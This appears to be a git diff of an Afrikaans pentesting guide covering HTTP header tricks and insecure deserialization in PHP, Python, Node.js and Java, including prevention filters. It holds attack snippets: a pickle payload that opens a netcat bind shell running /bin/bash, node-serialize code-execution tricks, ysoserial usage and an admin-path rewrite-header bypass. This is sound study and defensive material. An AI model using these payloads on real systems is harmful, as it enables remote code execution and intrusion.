Herskryf **ligging**:
- `X-Original-URL: /admin/console`
- `X-Rewrite-URL: /admin/console`
## Hop-by-Hop koptekste
## Hop-by-Hop koppe
'n Hop-by-hop koptekst is 'n koptekst wat ontwerp is om verwerk en verbruik te word deur die proxy wat tans die versoek hanteer, in teenstelling met 'n eind-tot-eind koptekst.
'n Hop-by-hop kop is 'n kop wat ontwerp is om verwerk en verbruik te word deur die proxy wat tans die versoek hanteer, in teenstelling met 'n eind-tot-eind kop.
- `Connection: close, X-Forwarded-For`
@ -52,53 +52,54 @@ Herskryf **ligging**:
../../pentesting-web/http-request-smuggling/
{{#endref}}
## Cache Koptekste
## Cache Koppe
**Bediener Cache Koptekste**:
**Bediener Cache Koppe**:
- **`X-Cache`** in die antwoord mag die waarde **`miss`** hê wanneer die versoek nie in die cache was nie en die waarde **`hit`** wanneer dit in die cache is
- Soortgelyke gedrag in die koptekst **`Cf-Cache-Status`**
- Soortgelyke gedrag in die kop **`Cf-Cache-Status`**
- **`Cache-Control`** dui aan of 'n hulpbron in die cache gestoor word en wanneer die volgende keer die hulpbron weer in die cache gestoor sal word: `Cache-Control: public, max-age=1800`
- **`Vary`** word dikwels in die antwoord gebruik om **addisionele koptekste** aan te dui wat as **deel van die cache sleutel** behandel word, selfs al is hulle normaalweg nie gesleutel nie.
- **`Age`** definieer die tye in sekondes wat die objek in die proxy cache was.
- **`Vary`** word dikwels in die antwoord gebruik om **addisionele koppe** aan te dui wat as **deel van die cache sleutel** behandel word, selfs al is hulle normaalweg nie gesleutel nie.
- **`Age`** definieer die tyd in sekondes wat die objek in die proxy cache was.
- **`Server-Timing: cdn-cache; desc=HIT`** dui ook aan dat 'n hulpbron in die cache was
{{#ref}}
../../pentesting-web/cache-deception/
{{#endref}}
**Plaaslike Cache koptekste**:
**Plaaslike Cache koppe**:
- `Clear-Site-Data`: Koptekst om aan te dui watter cache verwyder moet word: `Clear-Site-Data: "cache", "cookies"`
- `Clear-Site-Data`: Kop om aan te dui watter cache verwyder moet word: `Clear-Site-Data: "cache", "cookies"`
- `Expires`: Bevat datum/tyd wanneer die antwoord moet verval: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
- `Pragma: no-cache` dieselfde as `Cache-Control: no-cache`
- `Warning`: Die **`Warning`** algemene HTTP koptekst bevat inligting oor moontlike probleme met die status van die boodskap. Meer as een `Warning` koptekst mag in 'n antwoord verskyn. `Warning: 110 anderson/1.3.37 "Response is stale"`
- `Warning`: Die **`Warning`** algemene HTTP kop bevat inligting oor moontlike probleme met die status van die boodskap. Meer as een `Warning` kop mag in 'n antwoord verskyn. `Warning: 110 anderson/1.3.37 "Response is stale"`
## Voorwaardes
- Versoeke wat hierdie koptekste gebruik: **`If-Modified-Since`** en **`If-Unmodified-Since`** sal met data geantwoord word slegs as die antwoord koptekst\*\*`Last-Modified`\*\* 'n ander tyd bevat.
- Versoeke wat hierdie koppe gebruik: **`If-Modified-Since`** en **`If-Unmodified-Since`** sal met data geantwoord word slegs as die antwoord kop\*\*`Last-Modified`\*\* 'n ander tyd bevat.
- Voorwaardelike versoeke wat **`If-Match`** en **`If-None-Match`** gebruik, gebruik 'n Etag waarde sodat die webbediener die inhoud van die antwoord sal stuur as die data (Etag) verander het. Die `Etag` word geneem uit die HTTP antwoord.
- Die **Etag** waarde word gewoonlik **bereken** op grond van die **inhoud** van die antwoord. Byvoorbeeld, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` dui aan dat die `Etag` die **Sha1** van **37 bytes** is.
## Bereik versoeke
- **`Accept-Ranges`**: Dui aan of die bediener bereik versoeke ondersteun, en indien wel in watter eenheid die bereik uitgedruk kan word. `Accept-Ranges: <range-unit>`
- **`Range`**: Dui die deel van 'n dokument aan wat die bediener moet terugstuur.
- **`If-Range`**: Skep 'n voorwaardelike bereik versoek wat slegs vervul word as die gegewe etag of datum met die afstandlike hulpbron ooreenstem. Gebruik om te voorkom dat twee bereik van onverenigbare weergawe van die hulpbron afgelaai word.
- **`Content-Range`**: Dui aan waar in 'n volle liggaam boodskap 'n gedeeltelike boodskap behoort.
- **`Range`**: Dui die deel van 'n dokument aan wat die bediener moet teruggee. Byvoorbeeld, `Range:80-100` sal die bytes 80 tot 100 van die oorspronklike antwoord met 'n statuskode van 206 Partial Content teruggee. Onthou ook om die `Accept-Encoding` kop uit die versoek te verwyder.
- Dit kan nuttig wees om 'n antwoord met arbitrêre weerkaatste javascript kode te kry wat andersins ontsnap kon word. Maar om dit te misbruik, moet jy hierdie koppe in die versoek inspuit.
- **`If-Range`**: Skep 'n voorwaardelike bereik versoek wat slegs vervul word as die gegewe etag of datum met die afstandlike hulpbron ooreenstem. Gebruik om te voorkom dat twee bereik van onverenigbare weergawes van die hulpbron afgelaai word.
- **`Content-Range`**: Dui aan waar in 'n volle liggaamsboodskap 'n gedeeltelike boodskap behoort.
## Boodskap liggaam inligting
- **`Content-Length`:** Die grootte van die hulpbron, in desimale getal van bytes.
- **`Content-Length`:** Die grootte van die hulpbron, in desimale aantal bytes.
- **`Content-Type`**: Dui die media tipe van die hulpbron aan
- **`Content-Encoding`**: Gebruik om die kompressie algoritme aan te dui.
- **`Content-Language`**: Beskryf die menslike taal/tale wat bedoel is vir die gehoor, sodat dit 'n gebruiker toelaat om te onderskei volgens die gebruiker se eie verkose taal.
- **`Content-Location`**: Dui 'n alternatiewe ligging aan vir die teruggestuurde data.
- **`Content-Encoding`**: Gebruik om die kompressie-algoritme aan te dui.
- **`Content-Language`**: Beskryf die menslike taal/tale wat vir die gehoor bedoel is, sodat dit 'n gebruiker toelaat om te onderskei volgens die gebruiker se eie verkose taal.
- **`Content-Location`**: Dui 'n alternatiewe ligging aan vir die teruggegee data.
Vanuit 'n pentest oogpunt is hierdie inligting gewoonlik "nutteloos", maar as die hulpbron **beskerm** word deur 'n 401 of 403 en jy kan 'n **manier** vind om hierdie **inligting** te **kry**, kan dit **interessant** wees.\
Vanuit 'n pentest oogpunt is hierdie inligting gewoonlik "nutteloos", maar as die hulpbron **beskerm** word deur 'n 401 of 403 en jy 'n **manier** kan vind om hierdie **inligting** te **kry**, kan dit **interessant** wees.\
Byvoorbeeld, 'n kombinasie van **`Range`** en **`Etag`** in 'n HEAD versoek kan die inhoud van die bladsy via HEAD versoeke lek:
- 'n versoek met die koptekst `Range: bytes=20-20` en met 'n antwoord wat `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` bevat, lek dat die SHA1 van die byte 20 is `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
- 'n versoek met die kop `Range: bytes=20-20` en met 'n antwoord wat `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` bevat, lek dat die SHA1 van die byte 20 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` is
## Bediener Inligting
@ -107,12 +108,12 @@ Byvoorbeeld, 'n kombinasie van **`Range`** en **`Etag`** in 'n HEAD versoek kan
## Beheer
- **`Allow`**: Hierdie koptekst word gebruik om die HTTP metodes te kommunikeer wat 'n hulpbron kan hanteer. Byvoorbeeld, dit mag gespesifiseer word as `Allow: GET, POST, HEAD`, wat aandui dat die hulpbron hierdie metodes ondersteun.
- **`Expect`**: Gebruik deur die kliënt om verwagtinge oor te dra wat die bediener moet nakom vir die versoek om suksesvol verwerk te word. 'n Algemene gebruiksgeval behels die `Expect: 100-continue` koptekst, wat aandui dat die kliënt van plan is om 'n groot data payload te stuur. Die kliënt soek 'n `100 (Continue)` antwoord voordat hy met die oordrag voortgaan. Hierdie meganisme help om netwerkgebruik te optimaliseer deur op bedienerbevestiging te wag.
- **`Allow`**: Hierdie kop word gebruik om die HTTP metodes te kommunikeer wat 'n hulpbron kan hanteer. Byvoorbeeld, dit mag gespesifiseer word as `Allow: GET, POST, HEAD`, wat aandui dat die hulpbron hierdie metodes ondersteun.
- **`Expect`**: Gebruik deur die kliënt om verwagtinge oor te dra wat die bediener moet nakom vir die versoek om suksesvol verwerk te word. 'n Algemene gebruiksgeval behels die `Expect: 100-continue` kop, wat aandui dat die kliënt van plan is om 'n groot datapel te stuur. Die kliënt soek 'n `100 (Continue)` antwoord voordat hy met die oordrag voortgaan. Hierdie meganisme help om netwerkgebruik te optimaliseer deur op bedienerbevestiging te wag.
## Aflaaie
- Die **`Content-Disposition`** koptekst in HTTP antwoorde dui aan of 'n lêer **inline** (binne die webblad) vertoon moet word of as 'n **aanhegting** (afgelaai). Byvoorbeeld:
- Die **`Content-Disposition`** kop in HTTP antwoorde dui aan of 'n lêer **inline** (binne die webblad) vertoon moet word of as 'n **aanhegting** (afgelaai). Byvoorbeeld:
```
Content-Disposition: attachment; filename="filename.jpg"
```
@ -147,13 +148,13 @@ el.innerHTML = escaped // Results in safe assignment.
```
### **X-Content-Type-Options**
Hierdie kop voorkom MIME tipe sniffing, 'n praktyk wat kan lei tot XSS kwesbaarhede. Dit verseker dat blaaiers die MIME tipes wat deur die bediener gespesifiseer is, respekteer.
Hierdie kop voorkom MIME-tipe sniffing, 'n praktyk wat kan lei tot XSS kwesbaarhede. Dit verseker dat blaaiers die MIME-tipes wat deur die bediener gespesifiseer is, respekteer.
```
X-Content-Type-Options: nosniff
```
### **X-Frame-Options**
Om clickjacking te bekamp, beperk hierdie kop wat dokumente in `<frame>`, `<iframe>`, `<embed>`, of `<object>` etikette kan ingebed word, en beveel aan dat alle dokumente hul inbedingsregte eksplisiet spesifiseer.
Om clickjacking te bekamp, beperk hierdie kop hoe dokumente in `<frame>`, `<iframe>`, `<embed>`, of `<object>` etikette ingebed kan word, en beveel aan dat alle dokumente hul inbedingsregte eksplisiet spesifiseer.
```
X-Frame-Options: DENY
```
@ -167,12 +168,12 @@ Access-Control-Allow-Credentials: true
```
### **Cross-Origin Embedder Policy (COEP) en Cross-Origin Opener Policy (COOP)**
COEP en COOP is noodsaaklik vir die inskakeling van kruis-oorsprong isolasie, wat die risiko van Spectre-agtige aanvalle aansienlik verminder. Hulle beheer die laai van kruis-oorsprong hulpbronne en die interaksie met kruis-oorsprong vensters, onderskeidelik.
COEP en COOP is noodsaaklik vir die aktivering van kruis-oorsprong isolasie, wat die risiko van Spectre-agtige aanvalle aansienlik verminder. Hulle beheer die laai van kruis-oorsprong hulpbronne en die interaksie met kruis-oorsprong vensters, onderskeidelik.
```
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin-allow-popups
```
### **HTTP Strikte Transport Sekuriteit (HSTS)**
### **HTTP Strict Transport Security (HSTS)**
Laastens is HSTS 'n sekuriteitskenmerk wat blaaiers dwing om slegs oor veilige HTTPS-verbindinge met bedieners te kommunikeer, wat privaatheid en sekuriteit verbeter.
```

144
src/pentesting-web/deserialization/README.md
View File

@ -4,7 +4,7 @@
## Basiese Inligting
**Serialisering** word verstaan as die metode om 'n objek in 'n formaat te omskep wat bewaar kan word, met die doel om die objek te stoor of dit as deel van 'n kommunikasieproses oor te dra. Hierdie tegniek word algemeen gebruik om te verseker dat die objek op 'n later tydstip weer geskep kan word, terwyl sy struktuur en toestand behou word.
**Serialisering** word verstaan as die metode om 'n objek in 'n formaat te omskep wat bewaar kan word, met die doel om óf die objek te stoor óf dit as deel van 'n kommunikasieproses oor te dra. Hierdie tegniek word algemeen gebruik om te verseker dat die objek op 'n later tydstip weer geskep kan word, terwyl sy struktuur en toestand behou word.
**Deserialisering**, aan die ander kant, is die proses wat serialisering teenwerk. Dit behels die neem van data wat in 'n spesifieke formaat gestruktureer is en dit weer in 'n objek te herbou.
@ -94,13 +94,13 @@ Jy kan 'n verduidelikende **PHP voorbeeld hier** lees: [https://www.notsosecure.
### PHP Deserial + Autoload Klassen
Jy kan die PHP autoload funksionaliteit misbruik om arbitrêre php-lêers en meer te laai:
Jy kan die PHP autoload-funksionaliteit misbruik om arbitrêre php-lêers en meer te laai:
{{#ref}}
php-deserialization-+-autoload-classes.md
{{#endref}}
### Serialisering van Verwysingswaardes
### Serialisering van Verweiste Waardes
As jy om een of ander rede 'n waarde as 'n **verwysing na 'n ander geserialiseerde waarde** wil serialiseer, kan jy:
```php
@ -123,7 +123,7 @@ So, as jy kan, kyk na die `phpinfo()` van die bediener en **soek op die internet
### phar:// metadata deserialisasie
As jy 'n LFI gevind het wat net die lêer lees en nie die php-kode binne-in uitvoer nie, byvoorbeeld deur funksies soos _**file_get_contents(), fopen(), file() of file_exists(), md5_file(), filemtime() of filesize()**_**.** Jy kan probeer om 'n **deserialisasie** te misbruik wat plaasvind wanneer **'n lêer** gelees word met die **phar** protokol.\
As jy 'n LFI gevind het wat net die lêer lees en nie die php-kode binne-in dit uitvoer nie, byvoorbeeld deur funksies soos _**file_get_contents(), fopen(), file() of file_exists(), md5_file(), filemtime() of filesize()**_**.** Jy kan probeer om 'n **deserialisasie** te misbruik wat plaasvind wanneer **'n lêer** gelees word met die **phar** protokol.\
Vir meer inligting, lees die volgende pos:
{{#ref}}
@ -143,7 +143,7 @@ def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
```
Voordat jy die omseil tegniek nagaan, probeer om `print(base64.b64encode(pickle.dumps(P(),2)))` te gebruik om 'n objek te genereer wat versoenbaar is met python2 as jy python3 gebruik.
Voor jy die omseil tegniek nagaan, probeer om `print(base64.b64encode(pickle.dumps(P(),2)))` te gebruik om 'n objek te genereer wat versoenbaar is met python2 as jy python3 gebruik.
Vir meer inligting oor ontsnap uit **pickle jails** kyk:
@ -159,7 +159,7 @@ Die volgende bladsy bied die tegniek aan om **'n onveilige deserialisering in ya
python-yaml-deserialization.md
{{#endref}}
### Klass Pollution (Python Prototype Pollution)
### Klassiekkontaminasie (Python Prototype Pollution)
{{#ref}}
../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md
@ -167,12 +167,12 @@ python-yaml-deserialization.md
## NodeJS
### JS Magic Functions
### JS Magiese Funksies
JS **het nie "magic" funksies** soos PHP of Python wat net geskep word om 'n objek te genereer nie. Maar dit het 'n paar **funksies** wat **gereeld gebruik word selfs sonder om hulle direk aan te roep** soos **`toString`**, **`valueOf`**, **`toJSON`**.\
As jy 'n deserialisering misbruik, kan jy **hierdie funksies kompromitteer om ander kode uit te voer** (potensieel prototype pollutions misbruik) en jy kan willekeurige kode uitvoer wanneer hulle aangeroep word.
JS **het nie "magiese" funksies** soos PHP of Python wat net geskep word om 'n objek te genereer nie. Maar dit het 'n paar **funksies** wat **gereeld gebruik word selfs sonder om hulle direk aan te roep** soos **`toString`**, **`valueOf`**, **`toJSON`**.\
As jy 'n deserialisering misbruik, kan jy **hierdie funksies kompromitteer om ander kode uit te voer** (potensieel prototype kontaminasie misbruik) en jy kan arbitrêre kode uitvoer wanneer hulle aangeroep word.
Nog 'n **"magic" manier om 'n funksie aan te roep** sonder om dit direk aan te roep, is deur **'n objek te kompromitteer wat deur 'n async funksie** (belofte) **teruggegee word**. Want, as jy daardie **teruggegee objek** in 'n ander **belofte** met 'n **eienskap** genaamd **"then" van tipe funksie** transformeer, sal dit **uitgevoer word** net omdat dit deur 'n ander belofte teruggegee word. _Volg_ [_**hierdie skakel**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _vir meer inligting._
Nog 'n **"magiese" manier om 'n funksie aan te roep** sonder om dit direk aan te roep, is deur **'n objek te kompromitteer wat deur 'n async funksie** (belofte) **teruggegee word**. Want, as jy daardie **teruggegee objek** in 'n ander **belofte** met 'n **eienskap** genaamd **"then" van tipe funksie** transformeer, sal dit **uitgevoer** word net omdat dit deur 'n ander belofte teruggegee word. _Volg_ [_**hierdie skakel**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _vir meer inligting._
```javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
@ -206,7 +206,7 @@ nodejs-proto-prototype-pollution/
### [node-serialize](https://www.npmjs.com/package/node-serialize)
Hierdie biblioteek stel in staat om funksies te serialiseer. Voorbeeld:
Hierdie biblioteek stel jou in staat om funksies te serialiseer. Voorbeeld:
```javascript
var y = {
rce: function () {
@ -235,7 +235,7 @@ Soos jy in die laaste stuk kode kan sien, **as die vlag gevind word** word `eval
Egter, **net om 'n funksie te serialiseer** **sal dit nie uitvoer nie** aangesien dit nodig sou wees dat 'n deel van die kode **`y.rce` aanroep** in ons voorbeeld en dit is hoogs **onwaarskynlik**.\
In elk geval, jy kan net **die geserialiseerde objek wysig** **deur 'n paar haakies by te voeg** om die geserialiseerde funksie outomaties uit te voer wanneer die objek gedeserialiseer word.\
In die volgende stuk kode **let op die laaste haakie** en hoe die `unserialize` funksie die kode outomaties sal uitvoer:
In die volgende stuk kode **let op die laaste haakie** en hoe die `unserialize` funksie outomaties die kode sal uitvoer:
```javascript
var serialize = require("node-serialize")
var test = {
@ -256,7 +256,7 @@ U kan [**hier vind**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js
'n Opmerklike aspek van **funcster** is die ontoeganklikheid van **standaard ingeboude voorwerpe**; hulle val buite die toeganklike omvang. Hierdie beperking voorkom die uitvoering van kode wat probeer om metodes op ingeboude voorwerpe aan te roep, wat lei tot uitsonderings soos `"ReferenceError: console is not defined"` wanneer opdragte soos `console.log()` of `require(something)` gebruik word.
Ten spyte van hierdie beperking, is dit moontlik om volle toegang tot die globale konteks, insluitend al standaard ingeboude voorwerpe, te herstel deur 'n spesifieke benadering. Deur die globale konteks direk te benut, kan 'n mens hierdie beperking omseil. Byvoorbeeld, toegang kan hergestel word met die volgende snit:
Ten spyte van hierdie beperking, is dit moontlik om volle toegang tot die globale konteks, insluitend al die standaard ingeboude voorwerpe, te herstel deur 'n spesifieke benadering. Deur die globale konteks direk te benut, kan 'n mens hierdie beperking omseil. Byvoorbeeld, toegang kan hergestel word met die volgende snit:
```javascript
funcster = require("funcster")
//Serialization
@ -327,8 +327,8 @@ Om potensiële serialisering kwesbaarhede in die kodebasis te identifiseer, soek
Gee ekstra aandag aan:
- `XMLDecoder` wat gebruik word met parameters gedefinieer deur eksterne gebruikers.
- `XStream`'s `fromXML` metode, veral as die XStream weergawe minder as of gelyk aan 1.46 is, aangesien dit kwesbaar is vir serialisering probleme.
- `ObjectInputStream` saam met die `readObject` metode.
- `XStream`'s `fromXML` metode, veral as die XStream weergawe minder as of gelyk aan 1.46 is, aangesien dit vatbaar is vir serialisering probleme.
- `ObjectInputStream` gekoppel aan die `readObject` metode.
- Implementering van metodes soos `readObject`, `readObjectNodData`, `readResolve`, of `readExternal`.
- `ObjectInputStream.readUnshared`.
- Algemene gebruik van `Serializable`.
@ -339,10 +339,10 @@ Vir swart bok toetsing, soek vir spesifieke **handtekeninge of "Magic Bytes"** w
- Heksadesimale patroon: `AC ED 00 05`.
- Base64 patroon: `rO0`.
- HTTP antwoordkoppe met `Content-type` gestel op `application/x-java-serialized-object`.
- HTTP antwoordkoppe met `Content-type` ingestel op `application/x-java-serialized-object`.
- Heksadesimale patroon wat vorige kompressie aandui: `1F 8B 08 00`.
- Base64 patroon wat vorige kompressie aandui: `H4sIA`.
- Web lêers met die `.faces` uitbreiding en die `faces.ViewState` parameter. Die ontdekking van hierdie patrone in 'n webtoepassing moet 'n ondersoek uitlok soos gedetailleerd in die [pos oor Java JSF ViewState Deserialisering](java-jsf-viewstate-.faces-deserialization.md).
- Weblêers met die `.faces` uitbreiding en die `faces.ViewState` parameter. Die ontdekking van hierdie patrone in 'n webtoepassing moet 'n ondersoek uitlok soos gedetailleerd in die [plasing oor Java JSF ViewState Deserialisering](java-jsf-viewstate-.faces-deserialization.md).
```
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
```
@ -350,41 +350,41 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA
As jy wil **leer hoe 'n Java Deserialized exploit werk** moet jy kyk na [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), en [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
#### White Box Toets
#### Witdoos toets
Jy kan kyk of daar enige toepassing geïnstalleer is met bekende kwesbaarhede.
```bash
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
```
Jy kan probeer om **alle biblioteke** wat bekend is as kwesbaar te kontroleer en waarvoor [**Ysoserial**](https://github.com/frohoff/ysoserial) 'n ontploffing kan bied. Of jy kan die biblioteke nagaan wat op [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json) aangedui is.\
Jy kan ook [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) gebruik om moontlike gadget-kettings te soek wat ontplof kan word.\
Wanneer jy **gadgetinspector** (na dit gebou is) uitvoer, moenie omgee oor die ton waarskuwings/foute wat dit deurgaan nie en laat dit klaar maak. Dit sal al die bevindings onder _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ skryf. Let asseblief daarop dat **gadgetinspector nie 'n ontploffing sal skep nie en dit mag vals positiewe aandui**.
U kan probeer om **alle biblioteke** wat bekend is as kwesbaar te kontroleer en wat [**Ysoserial**](https://github.com/frohoff/ysoserial) 'n uitbuiting kan bied. Of u kan die biblioteke nagaan wat op [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json) aangedui is.\
U kan ook [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) gebruik om moontlike gadget-kettings te soek wat uitgebuit kan word.\
Wanneer u **gadgetinspector** (na dit gebou is) uitvoer, moenie omgee oor die ton waarskuwings/foute wat dit deurgaan nie en laat dit klaar maak. Dit sal al die bevindings onder _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ skryf. Let asseblief daarop dat **gadgetinspector nie 'n uitbuiting sal skep nie en dit mag vals positiewe aandui**.
#### Swartdoos toets
Met die Burp-uitbreiding [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) kan jy **identifiseer watter biblioteke beskikbaar is** (en selfs die weergawes). Met hierdie inligting kan dit **makkelijker wees om 'n payload te kies** om die kwesbaarheid te ontplof.\
Met die Burp-uitbreiding [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) kan u **identifiseer watter biblioteke beskikbaar is** (en selfs die weergawes). Met hierdie inligting kan dit **makkelijker wees om 'n payload te kies** om die kwesbaarheid uit te buit.\
[**Lees dit om meer oor GadgetProbe te leer**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
GadgetProbe is gefokus op **`ObjectInputStream` deserializations**.
GadgetProbe is gefokus op **`ObjectInputStream` deserialisasies**.
Met die Burp-uitbreiding [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) kan jy **kwesbare biblioteke identifiseer** wat met ysoserial ontplof kan word en hulle **ontplof**.\
Met die Burp-uitbreiding [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) kan u **kwesbare biblioteke** identifiseer wat met ysoserial uitgebuit kan word en **dit uitbuit**.\
[**Lees dit om meer oor Java Deserialization Scanner te leer.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scanner is gefokus op **`ObjectInputStream`** deserializations.
Java Deserialization Scanner is gefokus op **`ObjectInputStream`** deserialisasies.
Jy kan ook [**Freddy**](https://github.com/nccgroup/freddy) gebruik om **deserializations** kwesbaarhede in **Burp** te **detecteer**. Hierdie plugin sal **nie net `ObjectInputStream`** verwante kwesbaarhede opspoor nie, maar ook kwesbaarhede van **Json** en **Yml** deserialisatie biblioteke. In aktiewe modus sal dit probeer om hulle te bevestig met behulp van slaap of DNS payloads.\
[**Jy kan meer inligting oor Freddy hier vind.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
U kan ook [**Freddy**](https://github.com/nccgroup/freddy) gebruik om **deserialisasie** kwesbaarhede in **Burp** te **detecteer**. Hierdie plugin sal **nie net `ObjectInputStream`** verwante kwesbaarhede opspoor nie, maar ook kwesbaarhede van **Json** en **Yml** deserialisasiebiblioteke. In aktiewe modus sal dit probeer om dit te bevestig met behulp van slaap of DNS payloads.\
[**U kan meer inligting oor Freddy hier vind.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
**Serialisering toets**
Nie alles gaan oor die kontroleer of enige kwesbare biblioteek deur die bediener gebruik word nie. Soms kan jy in staat wees om **die data binne die geserialiseerde objek te verander en sommige kontroles te omseil** (miskien jou admin regte binne 'n webapp te verleen).\
As jy 'n java geserialiseerde objek vind wat na 'n webtoepassing gestuur word, **kan jy** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **gebruik om die geserialiseerde objek wat gestuur word in 'n meer menslike leesbare formaat te druk**. Om te weet watter data jy stuur, sal dit makliker wees om dit te verander en sommige kontroles te omseil.
Nie alles gaan oor die kontroleer of enige kwesbare biblioteek deur die bediener gebruik word nie. Soms kan u in staat wees om **die data binne die geserialiseerde objek te verander en sommige kontroles te omseil** (misschien u admin regte binne 'n webapp toeken).\
As u 'n java geserialiseerde objek vind wat na 'n webtoepassing gestuur word, **kan u** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **gebruik om die geserialiseerde objek wat gestuur word in 'n meer menslike leesbare formaat te druk**. Om te weet watter data u stuur, sal dit makliker wees om dit te verander en sommige kontroles te omseil.
### **Ontploffing**
### **Uitbuiting**
#### **ysoserial**
Die hoofgereedskap om Java deserializations te ontplof is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**aflaai hier**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Jy kan ook oorweeg om [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) te gebruik wat jou sal toelaat om komplekse opdragte (met pype byvoorbeeld) te gebruik.\
Let daarop dat hierdie gereedskap **gefokus** is op die ontploffing van **`ObjectInputStream`**.\
Die hoofgereedskap om Java deserialisasies uit te buit, is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**aflaai hier**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). U kan ook oorweeg om [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) te gebruik, wat u in staat sal stel om komplekse opdragte te gebruik (met pype byvoorbeeld).\
Let daarop dat hierdie gereedskap **gefokus** is op die uitbuiting van **`ObjectInputStream`**.\
Ek sou **begin met die "URLDNS"** payload **voor 'n RCE** payload om te toets of die inspuiting moontlik is. In elk geval, let daarop dat die "URLDNS" payload dalk nie werk nie, maar 'n ander RCE payload mag.
```bash
# PoC to make the application perform a DNS req
@ -496,7 +496,7 @@ Java gebruik baie serialisering vir verskeie doeleindes soos:
- **HTTP versoeke**: Serialisering word wyd gebruik in die bestuur van parameters, ViewState, koekies, ens.
- **RMI (Remote Method Invocation)**: Die Java RMI-protokol, wat heeltemal op serialisering staatmaak, is 'n hoeksteen vir afstandkommunikasie in Java-toepassings.
- **RMI oor HTTP**: Hierdie metode word algemeen gebruik deur Java-gebaseerde dik kliënt webtoepassings, wat serialisering vir alle objekkommunikasies benut.
- **JMX (Java Management Extensions)**: JMX gebruik serialisering om objek te oordra oor die netwerk.
- **JMX (Java Management Extensions)**: JMX gebruik serialisering om objekte oor die netwerk te stuur.
- **Pasgemaakte Protokolle**: In Java is die standaardpraktyk die oordrag van rou Java-objekte, wat in komende eksploitvoorbeelde demonstreer sal word.
### Voorkoming
@ -546,7 +546,7 @@ return super.resolveClass(desc);
}
}
```
**Gebruik van 'n Java-agent vir sekuriteitsverbetering** bied 'n terugvaloplossing wanneer kode-modifikasie nie moontlik is nie. Hierdie metode geld hoofsaaklik vir **swartlys van skadelike klasse**, met 'n JVM-parametervar:
**Gebruik van 'n Java-agent vir sekuriteitsverbetering** bied 'n terugvaloplossing wanneer kode-modifikasie nie moontlik is nie. Hierdie metode geld hoofsaaklik vir **swartlys van skadelike klasse**, met 'n JVM-parameter:
```
-javaagent:name-of-agent.jar
```
@ -554,9 +554,9 @@ Dit bied 'n manier om deserialisering dinamies te beveilig, ideaal vir omgewings
Kyk na 'n voorbeeld in [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
**Implementering van Serialisering Filters**: Java 9 het serialisering filters bekendgestel via die **`ObjectInputFilter`** koppelvlak, wat 'n kragtige mekanisme bied om kriteria spesifiek te maak waaraan serialiseerde objekke moet voldoen voordat hulle gedeserialiseer word. Hierdie filters kan globaal of per stroom toegepas word, wat 'n fyn beheer oor die deserialisering proses bied.
**Implementering van Serialisering Filters**: Java 9 het serialisering filters bekendgestel via die **`ObjectInputFilter`**-koppelvlak, wat 'n kragtige mekanisme bied om kriteria spesifiek te maak waaraan serialiseerde objekten moet voldoen voordat hulle gedeserialiseer word. Hierdie filters kan globaal of per stroom toegepas word, wat 'n fyn beheer oor die deserialisering proses bied.
Om serialisering filters te gebruik, kan jy 'n globale filter stel wat op alle deserialisering operasies van toepassing is of dit dinamies vir spesifieke strome konfigureer. Byvoorbeeld:
Om serialisering filters te gebruik, kan jy 'n globale filter instel wat op alle deserialisering operasies van toepassing is of dit dinamies vir spesifieke strome konfigureer. Byvoorbeeld:
```java
ObjectInputFilter filter = info -> {
